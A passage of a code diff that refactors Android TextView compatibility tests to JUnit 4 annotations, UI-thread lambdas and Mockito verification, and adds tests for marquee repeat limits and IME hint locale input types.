-        layout(textView);
-        assertEquals(textView.getLayout().getWidth(), textView.computeHorizontalScrollRange());
+        layout(mTextView);
+        assertEquals(mTextView.getLayout().getWidth(),
+                ((MockTextView) mTextView).computeHorizontalScrollRange());
     }
 
-    public void testComputeVerticalScrollRange() {
-        MockTextView textView = new MockTextView(mActivity);
-        // test when layout is null
-        assertNull(textView.getLayout());
-        assertEquals(0, textView.computeVerticalScrollRange());
+    @Test
+    public void testComputeVerticalScrollRange() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new MockTextView(mActivity));
+        mInstrumentation.waitForIdleSync();
 
-        textView.setFrame(0, 0, 40, 50);
-        assertEquals(textView.getHeight(), textView.computeVerticalScrollRange());
+        // test when layout is null
+        assertNull(mTextView.getLayout());
+        assertEquals(0, ((MockTextView) mTextView).computeVerticalScrollRange());
+
+        mActivityRule.runOnUiThread(() -> ((MockTextView) mTextView).setFrame(0, 0, 40, 50));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(mTextView.getHeight(), ((MockTextView) mTextView).computeVerticalScrollRange());
 
         //set the layout
-        layout(textView);
-        assertEquals(textView.getLayout().getHeight(), textView.computeVerticalScrollRange());
+        layout(mTextView);
+        assertEquals(mTextView.getLayout().getHeight(),
+                ((MockTextView) mTextView).computeVerticalScrollRange());
     }
 
-    public void testDrawableStateChanged() {
-        MockTextView textView = new MockTextView(mActivity);
-
-        textView.reset();
-        textView.refreshDrawableState();
-        assertTrue(textView.hasCalledDrawableStateChanged());
+    @Test
+    public void testDrawableStateChanged() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = spy(new MockTextView(mActivity)));
+        mInstrumentation.waitForIdleSync();
+        reset(mTextView);
+        mTextView.refreshDrawableState();
+        ((MockTextView) verify(mTextView, times(1))).drawableStateChanged();
     }
 
+    @UiThreadTest
+    @Test
     public void testGetDefaultEditable() {
-        MockTextView textView = new MockTextView(mActivity);
+        mTextView = new MockTextView(mActivity);
 
         //the TextView#getDefaultEditable() does nothing, and always return false.
-        assertFalse(textView.getDefaultEditable());
+        assertFalse(((MockTextView) mTextView).getDefaultEditable());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetDefaultMovementMethod() {
         MockTextView textView = new MockTextView(mActivity);
 
@@ -3631,337 +4516,313 @@
         assertNull(textView.getDefaultMovementMethod());
     }
 
-    public void testOnCreateContextMenu() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnDetachedFromWindow() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnDraw() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnFocusChanged() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnMeasure() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnTextChanged() {
-        // Do not test. Implementation details.
-    }
-
+    @UiThreadTest
+    @Test
     public void testSetFrame() {
         MockTextView textView = new MockTextView(mActivity);
 
         //Assign a new size to this view
         assertTrue(textView.setFrame(0, 0, 320, 480));
-        assertEquals(0, textView.getFrameLeft());
-        assertEquals(0, textView.getFrameTop());
-        assertEquals(320, textView.getFrameRight());
-        assertEquals(480, textView.getFrameBottom());
+        assertEquals(0, textView.getLeft());
+        assertEquals(0, textView.getTop());
+        assertEquals(320, textView.getRight());
+        assertEquals(480, textView.getBottom());
 
         //Assign a same size to this view
         assertFalse(textView.setFrame(0, 0, 320, 480));
 
         //negative input
         assertTrue(textView.setFrame(-1, -1, -1, -1));
-        assertEquals(-1, textView.getFrameLeft());
-        assertEquals(-1, textView.getFrameTop());
-        assertEquals(-1, textView.getFrameRight());
-        assertEquals(-1, textView.getFrameBottom());
+        assertEquals(-1, textView.getLeft());
+        assertEquals(-1, textView.getTop());
+        assertEquals(-1, textView.getRight());
+        assertEquals(-1, textView.getBottom());
     }
 
-    public void testMarquee() {
-        final MockTextView textView = new MockTextView(mActivity);
-        textView.setText(LONG_TEXT);
-        textView.setSingleLine();
-        textView.setEllipsize(TruncateAt.MARQUEE);
-        textView.setLayoutParams(new ViewGroup.LayoutParams(100, 100));
+    @Test
+    public void testMarquee() throws Throwable {
+        // Both are pointing to the same object. This works around current limitation in CTS
+        // coverage report tool for properly reporting coverage of base class method calls.
+        mActivityRule.runOnUiThread(() -> {
+            mSecondTextView = new MockTextView(mActivity);
 
-        final FrameLayout layout = new FrameLayout(mActivity);
-        layout.addView(textView);
-
-        // make the fading to be shown
-        textView.setHorizontalFadingEdgeEnabled(true);
-
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(layout);
-            }
+            mTextView = mSecondTextView;
+            mTextView.setText(LONG_TEXT);
+            mTextView.setSingleLine();
+            mTextView.setEllipsize(TruncateAt.MARQUEE);
+            mTextView.setLayoutParams(new LayoutParams(100, 100));
         });
         mInstrumentation.waitForIdleSync();
 
-        TestSelectedRunnable runnable = new TestSelectedRunnable(textView) {
+        final FrameLayout layout = new FrameLayout(mActivity);
+        layout.addView(mTextView);
+
+        // make the fading to be shown
+        mTextView.setHorizontalFadingEdgeEnabled(true);
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
+
+        TestSelectedRunnable runnable = new TestSelectedRunnable(mTextView) {
             public void run() {
-                textView.setMarqueeRepeatLimit(-1);
+                mTextView.setMarqueeRepeatLimit(-1);
                 // force the marquee to start
                 saveIsSelected1();
-                textView.setSelected(true);
+                mTextView.setSelected(true);
                 saveIsSelected2();
             }
         };
-        mActivity.runOnUiThread(runnable);
+        mActivityRule.runOnUiThread(runnable);
 
         // wait for the marquee to run
         // fading is shown on both sides if the marquee runs for a while
-        new PollingCheck(TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return textView.getLeftFadingEdgeStrength() > 0.0f
-                        && textView.getRightFadingEdgeStrength() > 0.0f;
-            }
-        }.run();
+        PollingCheck.waitFor(TIMEOUT, () ->
+                ((MockTextView) mSecondTextView).getLeftFadingEdgeStrength() > 0.0f
+                        && ((MockTextView) mSecondTextView).getRightFadingEdgeStrength() > 0.0f);
 
         // wait for left marquee to fully apply
-        new PollingCheck(TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return textView.getLeftFadingEdgeStrength() > 0.99f;
-            }
-        }.run();
+        PollingCheck.waitFor(TIMEOUT, () ->
+                ((MockTextView) mSecondTextView).getLeftFadingEdgeStrength() > 0.99f);
+
         assertFalse(runnable.getIsSelected1());
         assertTrue(runnable.getIsSelected2());
+        assertEquals(-1, mTextView.getMarqueeRepeatLimit());
 
-        runnable = new TestSelectedRunnable(textView) {
+        runnable = new TestSelectedRunnable(mTextView) {
             public void run() {
-                textView.setMarqueeRepeatLimit(0);
+                mTextView.setMarqueeRepeatLimit(0);
                 // force the marquee to stop
                 saveIsSelected1();
-                textView.setSelected(false);
+                mTextView.setSelected(false);
                 saveIsSelected2();
-                textView.setGravity(Gravity.LEFT);
+                mTextView.setGravity(Gravity.LEFT);
             }
         };
         // force the marquee to stop
-        mActivity.runOnUiThread(runnable);
+        mActivityRule.runOnUiThread(runnable);
         mInstrumentation.waitForIdleSync();
         assertTrue(runnable.getIsSelected1());
         assertFalse(runnable.getIsSelected2());
-        assertEquals(0.0f, textView.getLeftFadingEdgeStrength(), 0.01f);
-        assertTrue(textView.getRightFadingEdgeStrength() > 0.0f);
+        assertEquals(0.0f, ((MockTextView) mSecondTextView).getLeftFadingEdgeStrength(), 0.01f);
+        assertTrue(((MockTextView) mSecondTextView).getRightFadingEdgeStrength() > 0.0f);
+        assertEquals(0, mTextView.getMarqueeRepeatLimit());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                textView.setGravity(Gravity.RIGHT);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setGravity(Gravity.RIGHT));
         mInstrumentation.waitForIdleSync();
-        assertTrue(textView.getLeftFadingEdgeStrength() > 0.0f);
-        assertEquals(0.0f, textView.getRightFadingEdgeStrength(), 0.01f);
+        assertTrue(((MockTextView) mSecondTextView).getLeftFadingEdgeStrength() > 0.0f);
+        assertEquals(0.0f, ((MockTextView) mSecondTextView).getRightFadingEdgeStrength(), 0.01f);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                textView.setGravity(Gravity.CENTER_HORIZONTAL);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setGravity(Gravity.CENTER_HORIZONTAL));
         mInstrumentation.waitForIdleSync();
         // there is no left fading (Is it correct?)
-        assertEquals(0.0f, textView.getLeftFadingEdgeStrength(), 0.01f);
-        assertTrue(textView.getRightFadingEdgeStrength() > 0.0f);
+        assertEquals(0.0f, ((MockTextView) mSecondTextView).getLeftFadingEdgeStrength(), 0.01f);
+        assertTrue(((MockTextView) mSecondTextView).getRightFadingEdgeStrength() > 0.0f);
     }
 
-    public void testOnKeyMultiple() {
-        // Do not test. Implementation details.
+    @UiThreadTest
+    @Test
+    public void testGetMarqueeRepeatLimit() {
+        final TextView textView = new TextView(mActivity);
+
+        textView.setMarqueeRepeatLimit(10);
+        assertEquals(10, textView.getMarqueeRepeatLimit());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessInputExtras() throws XmlPullParserException, IOException {
-        TextView textView = new TextView(mActivity);
-        textView.setText(null, BufferType.EDITABLE);
-        textView.setInputType(InputType.TYPE_CLASS_TEXT);
+        mTextView = new TextView(mActivity);
+        mTextView.setText(null, BufferType.EDITABLE);
+        mTextView.setInputType(InputType.TYPE_CLASS_TEXT);
 
         // do not create the extras
-        assertNull(textView.getInputExtras(false));
+        assertNull(mTextView.getInputExtras(false));
 
         // create if it does not exist
-        Bundle inputExtras = textView.getInputExtras(true);
+        Bundle inputExtras = mTextView.getInputExtras(true);
         assertNotNull(inputExtras);
         assertTrue(inputExtras.isEmpty());
 
         // it is created already
-        assertNotNull(textView.getInputExtras(false));
+        assertNotNull(mTextView.getInputExtras(false));
 
         try {
-            textView.setInputExtras(R.xml.input_extras);
+            mTextView.setInputExtras(R.xml.input_extras);
             fail("Should throw NullPointerException!");
         } catch (NullPointerException e) {
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessContentType() {
-        TextView textView = new TextView(mActivity);
-        textView.setText(null, BufferType.EDITABLE);
-        textView.setKeyListener(null);
-        textView.setTransformationMethod(null);
+        mTextView = new TextView(mActivity);
+        mTextView.setText(null, BufferType.EDITABLE);
+        mTextView.setKeyListener(null);
+        mTextView.setTransformationMethod(null);
 
-        textView.setInputType(InputType.TYPE_CLASS_DATETIME
+        mTextView.setInputType(InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_NORMAL);
         assertEquals(InputType.TYPE_CLASS_DATETIME
-                | InputType.TYPE_DATETIME_VARIATION_NORMAL, textView.getInputType());
-        assertTrue(textView.getKeyListener() instanceof DateTimeKeyListener);
+                | InputType.TYPE_DATETIME_VARIATION_NORMAL, mTextView.getInputType());
+        assertTrue(mTextView.getKeyListener() instanceof DateTimeKeyListener);
 
-        textView.setInputType(InputType.TYPE_CLASS_DATETIME
+        mTextView.setInputType(InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_DATE);
         assertEquals(InputType.TYPE_CLASS_DATETIME
-                | InputType.TYPE_DATETIME_VARIATION_DATE, textView.getInputType());
-        assertTrue(textView.getKeyListener() instanceof DateKeyListener);
+                | InputType.TYPE_DATETIME_VARIATION_DATE, mTextView.getInputType());
+        assertTrue(mTextView.getKeyListener() instanceof DateKeyListener);
 
-        textView.setInputType(InputType.TYPE_CLASS_DATETIME
+        mTextView.setInputType(InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_TIME);
         assertEquals(InputType.TYPE_CLASS_DATETIME
-                | InputType.TYPE_DATETIME_VARIATION_TIME, textView.getInputType());
-        assertTrue(textView.getKeyListener() instanceof TimeKeyListener);
+                | InputType.TYPE_DATETIME_VARIATION_TIME, mTextView.getInputType());
+        assertTrue(mTextView.getKeyListener() instanceof TimeKeyListener);
 
-        textView.setInputType(InputType.TYPE_CLASS_NUMBER
+        mTextView.setInputType(InputType.TYPE_CLASS_NUMBER
                 | InputType.TYPE_NUMBER_FLAG_DECIMAL
                 | InputType.TYPE_NUMBER_FLAG_SIGNED);
         assertEquals(InputType.TYPE_CLASS_NUMBER
                 | InputType.TYPE_NUMBER_FLAG_DECIMAL
-                | InputType.TYPE_NUMBER_FLAG_SIGNED, textView.getInputType());
-        assertSame(textView.getKeyListener(), DigitsKeyListener.getInstance(true, true));
+                | InputType.TYPE_NUMBER_FLAG_SIGNED, mTextView.getInputType());
+        assertSame(mTextView.getKeyListener(),
+                DigitsKeyListener.getInstance(null, true, true));
 
-        textView.setInputType(InputType.TYPE_CLASS_PHONE);
-        assertEquals(InputType.TYPE_CLASS_PHONE, textView.getInputType());
-        assertTrue(textView.getKeyListener() instanceof DialerKeyListener);
+        mTextView.setInputType(InputType.TYPE_CLASS_PHONE);
+        assertEquals(InputType.TYPE_CLASS_PHONE, mTextView.getInputType());
+        assertTrue(mTextView.getKeyListener() instanceof DialerKeyListener);
 
-        textView.setInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT);
         assertEquals(InputType.TYPE_CLASS_TEXT
-                | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT, textView.getInputType());
-        assertSame(textView.getKeyListener(), TextKeyListener.getInstance(true, Capitalize.NONE));
+                | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT, mTextView.getInputType());
+        assertSame(mTextView.getKeyListener(), TextKeyListener.getInstance(true, Capitalize.NONE));
 
-        textView.setSingleLine();
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
-        textView.setInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setSingleLine();
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        mTextView.setInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_MULTI_LINE
                 | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS);
         assertEquals(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_MULTI_LINE
-                | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS, textView.getInputType());
-        assertSame(textView.getKeyListener(),
+                | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS, mTextView.getInputType());
+        assertSame(mTextView.getKeyListener(),
                 TextKeyListener.getInstance(false, Capitalize.CHARACTERS));
-        assertNull(textView.getTransformationMethod());
+        assertNull(mTextView.getTransformationMethod());
 
-        textView.setInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_CAP_WORDS);
         assertEquals(InputType.TYPE_CLASS_TEXT
-                | InputType.TYPE_TEXT_FLAG_CAP_WORDS, textView.getInputType());
-        assertSame(textView.getKeyListener(),
+                | InputType.TYPE_TEXT_FLAG_CAP_WORDS, mTextView.getInputType());
+        assertSame(mTextView.getKeyListener(),
                 TextKeyListener.getInstance(false, Capitalize.WORDS));
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
 
-        textView.setInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_CAP_SENTENCES);
         assertEquals(InputType.TYPE_CLASS_TEXT
-                | InputType.TYPE_TEXT_FLAG_CAP_SENTENCES, textView.getInputType());
-        assertSame(textView.getKeyListener(),
+                | InputType.TYPE_TEXT_FLAG_CAP_SENTENCES, mTextView.getInputType());
+        assertSame(mTextView.getKeyListener(),
                 TextKeyListener.getInstance(false, Capitalize.SENTENCES));
 
-        textView.setInputType(InputType.TYPE_NULL);
-        assertEquals(InputType.TYPE_NULL, textView.getInputType());
-        assertTrue(textView.getKeyListener() instanceof TextKeyListener);
+        mTextView.setInputType(InputType.TYPE_NULL);
+        assertEquals(InputType.TYPE_NULL, mTextView.getInputType());
+        assertTrue(mTextView.getKeyListener() instanceof TextKeyListener);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessRawContentType() {
-        TextView textView = new TextView(mActivity);
-        textView.setText(null, BufferType.EDITABLE);
-        textView.setKeyListener(null);
-        textView.setTransformationMethod(null);
+        mTextView = new TextView(mActivity);
+        mTextView.setText(null, BufferType.EDITABLE);
+        mTextView.setKeyListener(null);
+        mTextView.setTransformationMethod(null);
 
-        textView.setRawInputType(InputType.TYPE_CLASS_DATETIME
+        mTextView.setRawInputType(InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_NORMAL);
         assertEquals(InputType.TYPE_CLASS_DATETIME
-                | InputType.TYPE_DATETIME_VARIATION_NORMAL, textView.getInputType());
-        assertNull(textView.getTransformationMethod());
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_DATETIME_VARIATION_NORMAL, mTextView.getInputType());
+        assertNull(mTextView.getTransformationMethod());
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_DATETIME
+        mTextView.setRawInputType(InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_DATE);
         assertEquals(InputType.TYPE_CLASS_DATETIME
-                | InputType.TYPE_DATETIME_VARIATION_DATE, textView.getInputType());
-        assertNull(textView.getTransformationMethod());
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_DATETIME_VARIATION_DATE, mTextView.getInputType());
+        assertNull(mTextView.getTransformationMethod());
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_DATETIME
+        mTextView.setRawInputType(InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_TIME);
         assertEquals(InputType.TYPE_CLASS_DATETIME
-                | InputType.TYPE_DATETIME_VARIATION_TIME, textView.getInputType());
-        assertNull(textView.getTransformationMethod());
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_DATETIME_VARIATION_TIME, mTextView.getInputType());
+        assertNull(mTextView.getTransformationMethod());
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_NUMBER
+        mTextView.setRawInputType(InputType.TYPE_CLASS_NUMBER
                 | InputType.TYPE_NUMBER_FLAG_DECIMAL
                 | InputType.TYPE_NUMBER_FLAG_SIGNED);
         assertEquals(InputType.TYPE_CLASS_NUMBER
                 | InputType.TYPE_NUMBER_FLAG_DECIMAL
-                | InputType.TYPE_NUMBER_FLAG_SIGNED, textView.getInputType());
-        assertNull(textView.getTransformationMethod());
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_NUMBER_FLAG_SIGNED, mTextView.getInputType());
+        assertNull(mTextView.getTransformationMethod());
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_PHONE);
-        assertEquals(InputType.TYPE_CLASS_PHONE, textView.getInputType());
-        assertNull(textView.getTransformationMethod());
-        assertNull(textView.getKeyListener());
+        mTextView.setRawInputType(InputType.TYPE_CLASS_PHONE);
+        assertEquals(InputType.TYPE_CLASS_PHONE, mTextView.getInputType());
+        assertNull(mTextView.getTransformationMethod());
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setRawInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT);
         assertEquals(InputType.TYPE_CLASS_TEXT
-                | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT, textView.getInputType());
-        assertNull(textView.getTransformationMethod());
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT, mTextView.getInputType());
+        assertNull(mTextView.getTransformationMethod());
+        assertNull(mTextView.getKeyListener());
 
-        textView.setSingleLine();
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
-        textView.setRawInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setSingleLine();
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        mTextView.setRawInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_MULTI_LINE
                 | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS);
         assertEquals(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_MULTI_LINE
-                | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS, textView.getInputType());
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS, mTextView.getInputType());
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setRawInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_CAP_WORDS);
         assertEquals(InputType.TYPE_CLASS_TEXT
-                | InputType.TYPE_TEXT_FLAG_CAP_WORDS, textView.getInputType());
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_TEXT_FLAG_CAP_WORDS, mTextView.getInputType());
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_CLASS_TEXT
+        mTextView.setRawInputType(InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_CAP_SENTENCES);
         assertEquals(InputType.TYPE_CLASS_TEXT
-                | InputType.TYPE_TEXT_FLAG_CAP_SENTENCES, textView.getInputType());
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
-        assertNull(textView.getKeyListener());
+                | InputType.TYPE_TEXT_FLAG_CAP_SENTENCES, mTextView.getInputType());
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        assertNull(mTextView.getKeyListener());
 
-        textView.setRawInputType(InputType.TYPE_NULL);
-        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
-        assertNull(textView.getKeyListener());
+        mTextView.setRawInputType(InputType.TYPE_NULL);
+        assertTrue(mTextView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+        assertNull(mTextView.getKeyListener());
     }
 
-    public void testOnPrivateIMECommand() {
-        // Do not test. Implementation details.
-    }
-
-    public void testFoo() {
-        // Do not test. Implementation details.
-    }
-
+    @UiThreadTest
+    @Test
     public void testVerifyDrawable() {
-        MockTextView textView = new MockTextView(mActivity);
+        mTextView = new MockTextView(mActivity);
 
-        Drawable d = getDrawable(R.drawable.pass);
-        assertFalse(textView.verifyDrawable(d));
+        Drawable d = TestUtils.getDrawable(mActivity, R.drawable.pass);
+        assertFalse(((MockTextView ) mTextView).verifyDrawable(d));
 
-        textView.setCompoundDrawables(null, d, null, null);
-        assertTrue(textView.verifyDrawable(d));
+        mTextView.setCompoundDrawables(null, d, null, null);
+        assertTrue(((MockTextView ) mTextView).verifyDrawable(d));
     }
 
+    @Test
     public void testAccessPrivateImeOptions() {
         mTextView = findTextView(R.id.textview_text);
         assertNull(mTextView.getPrivateImeOptions());
@@ -3973,19 +4834,23 @@
         assertNull(mTextView.getPrivateImeOptions());
     }
 
+    @Test
     public void testSetOnEditorActionListener() {
         mTextView = findTextView(R.id.textview_text);
 
-        MockOnEditorActionListener listener = new MockOnEditorActionListener();
-        assertFalse(listener.isOnEditorActionCalled());
+        final TextView.OnEditorActionListener mockOnEditorActionListener =
+                mock(TextView.OnEditorActionListener.class);
+        verifyZeroInteractions(mockOnEditorActionListener);
 
-        mTextView.setOnEditorActionListener(listener);
-        assertFalse(listener.isOnEditorActionCalled());
+        mTextView.setOnEditorActionListener(mockOnEditorActionListener);
+        verifyZeroInteractions(mockOnEditorActionListener);
 
         mTextView.onEditorAction(EditorInfo.IME_ACTION_DONE);
-        assertTrue(listener.isOnEditorActionCalled());
+        verify(mockOnEditorActionListener, times(1)).onEditorAction(mTextView,
+                EditorInfo.IME_ACTION_DONE, null);
     }
 
+    @Test
     public void testAccessImeOptions() {
         mTextView = findTextView(R.id.textview_text);
         assertEquals(EditorInfo.IME_NULL, mTextView.getImeOptions());
@@ -4000,6 +4865,7 @@
         assertEquals(EditorInfo.IME_NULL, mTextView.getImeOptions());
     }
 
+    @Test
     public void testAccessImeActionLabel() {
         mTextView = findTextView(R.id.textview_text);
         assertNull(mTextView.getImeActionLabel());
@@ -4010,6 +4876,8 @@
         assertEquals(1, mTextView.getImeActionId());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessImeHintLocales() {
         final TextView textView = new TextView(mActivity);
         textView.setText("", BufferType.EDITABLE);
@@ -4033,6 +4901,60 @@
     }
 
     @UiThreadTest
+    @Test
+    public void testSetImeHintLocalesChangesInputType() {
+        final TextView textView = new TextView(mActivity);
+        textView.setText("", BufferType.EDITABLE);
+
+        textView.setInputType(InputType.TYPE_CLASS_NUMBER);
+        assertEquals(InputType.TYPE_CLASS_NUMBER, textView.getInputType());
+
+        final LocaleList localeList = LocaleList.forLanguageTags("fa-IR");
+        textView.setImeHintLocales(localeList);
+        final int textType = InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL;
+        // Setting IME hint locales to Persian must change the input type to a full text IME,
+        // since the typical number input IME may not have localized digits.
+        assertEquals(textType, textView.getInputType());
+
+        // Changing the input type to datetime should keep the full text IME, since the IME hint
+        // is still set to Persian, which needs advanced input.
+        final int dateType = InputType.TYPE_CLASS_DATETIME | InputType.TYPE_DATETIME_VARIATION_DATE;
+        textView.setInputType(dateType);
+        assertEquals(textType, textView.getInputType());
+
+        // Changing the input type to number password should keep the full text IME, since the IME
+        // hint is still set to Persian, which needs advanced input. But it also needs to set the
+        // text password flag.
+        final int numberPasswordType = InputType.TYPE_CLASS_NUMBER
+                | InputType.TYPE_NUMBER_VARIATION_PASSWORD;
+        final int textPasswordType = InputType.TYPE_CLASS_TEXT
+                | InputType.TYPE_TEXT_VARIATION_PASSWORD;
+        textView.setInputType(numberPasswordType);
+        assertEquals(textPasswordType, textView.getInputType());
+
+        // Setting the IME hint locales to null should reset the type to number password, since we
+        // no longer need internationalized input.
+        textView.setImeHintLocales(null);
+        assertEquals(numberPasswordType, textView.getInputType());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetImeHintLocalesDoesntLoseInputType() {
+        final TextView textView = new TextView(mActivity);
+        textView.setText("", BufferType.EDITABLE);
+        final int inputType = InputType.TYPE_CLASS_TEXT
+                | InputType.TYPE_TEXT_VARIATION_WEB_EDIT_TEXT
+                | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS
+                | InputType.TYPE_TEXT_FLAG_MULTI_LINE
+                | InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS;
+        textView.setInputType(inputType);
+        textView.setImeHintLocales(new LocaleList(Locale.US));
+        assertEquals(inputType, textView.getInputType());
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetExtractedText() {
         mTextView = findTextView(R.id.textview_text);
         assertEquals(mActivity.getResources().getString(R.string.text_view_hello),
@@ -4088,86 +5010,117 @@
         assertEquals("ctstest://TextView/test", urlSpans[0].getURL());
     }
 
+    @Test
     public void testMoveCursorToVisibleOffset() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
 
         // not a spannable text
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertFalse(mTextView.moveCursorToVisibleOffset());
-            }
-        });
+        mActivityRule.runOnUiThread(() -> assertFalse(mTextView.moveCursorToVisibleOffset()));
         mInstrumentation.waitForIdleSync();
 
         // a selection range
         final String spannableText = "text";
-        mTextView = new TextView(mActivity);
+        mActivityRule.runOnUiThread(() ->  mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(spannableText, BufferType.SPANNABLE);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setText(spannableText, BufferType.SPANNABLE));
         mInstrumentation.waitForIdleSync();
         Selection.setSelection((Spannable) mTextView.getText(), 0, spannableText.length());
 
         assertEquals(0, mTextView.getSelectionStart());
         assertEquals(spannableText.length(), mTextView.getSelectionEnd());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertFalse(mTextView.moveCursorToVisibleOffset());
-            }
-        });
+        mActivityRule.runOnUiThread(() -> assertFalse(mTextView.moveCursorToVisibleOffset()));
         mInstrumentation.waitForIdleSync();
 
         // a spannable without range
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = findTextView(R.id.textview_text);
-                mTextView.setText(spannableText, BufferType.SPANNABLE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            mTextView.setText(spannableText, BufferType.SPANNABLE);
         });
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertTrue(mTextView.moveCursorToVisibleOffset());
-            }
-        });
+        mActivityRule.runOnUiThread(() -> assertTrue(mTextView.moveCursorToVisibleOffset()));
         mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testIsInputMethodTarget() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertFalse(mTextView.isInputMethodTarget());
 
         assertFalse(mTextView.isFocused());
-        runTestOnUiThread(new Runnable() {
-           @Override
-            public void run() {
